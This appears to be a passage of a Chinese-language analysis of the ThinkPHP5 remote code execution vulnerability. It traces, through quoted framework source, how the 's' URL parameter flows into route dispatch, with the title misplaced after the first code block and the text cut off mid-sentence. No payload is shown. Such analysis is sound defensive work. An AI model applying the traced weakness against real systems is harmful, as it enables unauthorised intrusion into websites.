public function pathinfo() { if (is_null($this->pathinfo)) { if (isset($_GET[$this->config['var_pathinfo']])) { // 判断URL里面是否有兼容模式参数 $pathinfo = $_GET[$this->config['var_pathinfo']]; unset($_GET[$this->config['var_pathinfo']]); } elseif ($this->isCli()) { // CLI模式下 index.php module/controller/action/params/... $pathinfo = isset($_SERVER['argv'][1]) ? $_SERVER['argv'][1] : ''; } elseif ('cli-server' == PHP_SAPI) { $pathinfo = strpos($this->server('REQUEST_URI'), '?') ? strstr($this->server('REQUEST_URI'), '?', true) : $this->server('REQUEST_URI'); } elseif ($this->server('PATH_INFO')) { $pathinfo = $this->server('PATH_INFO'); } // 分析PATHINFO信息 if (!isset($pathinfo)) { foreach ($this->config['pathinfo_fetch'] as $type) { if ($this->server($type)) { $pathinfo = (0 === strpos($this->server($type), $this->server('SCRIPT_NAME'))) ? substr($this->server($type), strlen($this->server('SCRIPT_NAME'))) : $this->server($type); break; } } } $this->pathinfo = empty($pathinfo) || '/' == $pathinfo ? '' : ltrim($pathinfo, '/'); } return $this->pathinfo; } 该路由函数中 $this->config['var_pathinfo'] 是配置文件的默认值,其初始化代码如下,值为’s’:
ThinkPHP5 远程代码执行漏洞分析
当请求报文包含 $_GET['s'] ,就取其值作为pathinfo,并返回pathinfo给调用函数。

分析发现pathinfo函数被 library/think/Request.php:716 中的path函数调用:

public function path() { if (is_null($this->path)) { $suffix = $this->config['url_html_suffix']; $pathinfo = $this->pathinfo(); if (false === $suffix) { // 禁止伪静态访问 $this->path = $pathinfo; } elseif ($suffix) { // 去除正常的URL后缀 $this->path = preg_replace('/\.(' . ltrim($suffix, '.') . ')$/i', '', $pathinfo); } else { // 允许任何后缀访问 $this->path = preg_replace('/\.' . $this->ext() . '$/i', '', $pathinfo); } } return $this->path; }

显然,这里 $this->path 源自pathinfo,因此可以被攻击者控制。继续分析该变量的传递,在 library/think/App.php:597 中被引用:

//public function routecheck() $path = $this->request->path(); // 是否强制路由模式 $must = !is_null($this->routeMust) ? $this->routeMust : $this->route->config('url_route_must'); // 路由检测 返回一个Dispatch对象 $dispatch = $this->route->check($path, $must); if (!empty($routeKey)) { try { if ($option) { $this->cache->connect($option)->tag('route_cache')->set($routeKey, $dispatch); } else { $this->cache->tag('route_cache')->set($routeKey, $dispatch); } } catch (\Exception $e) { // 存在闭包的时候缓存无效 } } return $dispatch;

这里是进行路由检测,攻击者可控的$path被传递给了如下的check函数:

public function check($url, $must = false) { // 自动检测域名路由 $domain = $this->checkDomain(); $url = str_replace($this->config['pathinfo_depr'], '|', $url); $completeMatch = $this->config['route_complete_match']; $result = $domain->check($this->request, $url, $completeMatch); if (false === $result && !empty($this->cross)) { // 检测跨域路由 $result = $this->cross->check($this->request, $url, $completeMatch); } if (false !== $result) { // 路由匹配 return $result; } elseif ($must) { // 强制路由不匹配则抛出异常 throw new RouteNotFoundException(); } // 默认路由解析 return new UrlDispatch($this->request, $this->group, $url, [ 'auto_search' => $this->autoSearchController, ]); }

分析代码可知,如果开启了强制路由则会抛出异常, 也就是官方所说的该漏洞在开启强制路由的情况下不受影响(默认不开启)。

Check函数最后实例化一个UrlDispatch对象,将$url传递给了构造函数。继续分析UrlDispatch的父类也就是Dispatch类的构造函数:

library/think/route/Dispatch.php:64

public function __construct(Request $request, Rule $rule, $dispatch, $param = [], $code = null) { $this->request = $request; $this->rule = $rule; $this->app = Container::get('app'); $this->dispatch = $dispatch; $this->param = $param; $this->code = $code; if (isset($param['convert'])) { $this->convert = $param['convert']; } }

$dispatch 变量可控并赋值给了 $this->dispatch ,经过多次函数调用返回,最后如下的Url类的init函数将会被调用来处理 $this->dispatch 。

class Url extends Dispatch { public function init() { // 解析默认的URL规则 $result = $this->parseUrl($this->dispatch); return (new Module($this->request, $this->rule, $result))->init(); } public function exec() {}

这里调用parseUrl对 $this->dispatch 进行解析,这是该漏洞的核心点之一:

protected function parseUrl($url) { $depr = $this->rule->getConfig('pathinfo_depr'); $bind = $this->rule->getRouter()->getBind(); if (!empty($bind) && preg_match('/^[a-z]/is', $bind)) { $bind = str_replace('/', $depr, $bind); // 如果有模块/控制器绑定 $url = $bind . ('.' != substr($bind, -1) ? $depr : '') . ltrim($url, $depr); } list($path, $var) = $this->rule->parseUrlPath($url); if (empty($path)) {

这里调用parseUrlPath函数对 $url 进行解析,继续分析该函数:

public function parseUrlPath($url) { .... .... } elseif (strpos($url, '/')) { // [模块/控制器/操作] $path = explode('/', $url); } elseif (false !== strpos($url, '=')) { // 参数1=值1&参数2=值2... $path = []; parse_str($url, $var); } else { $path = [$url]; } return [$path, $var]; }

显然,

url分割形成一个数组存到$path变量中并返回到调用者。

继续分析封装路由的代码:

library/think/route/dispatch/Url.php:48

list($path, $var) = $this->rule->parseUrlPath($url); ... ... // 解析模块 $module = $this->rule->getConfig('app_multi_module') ? array_shift($path) : null; if ($this->param['auto_search']) { $controller = $this->autoFindController($module, $path); } else { // 解析控制器 $controller = !empty($path) ? array_shift($path) : null; } // 解析操作 $action = !empty($path) ? array_shift($path) : null; ... ... // 设置当前请求的参数 $this->request->setRouteVars($var); // 封装路由 $route = [$module, $controller, $action]; return $route; 路由封装返回到 library/thi
Viewing all 12749 articles
Browse latest View live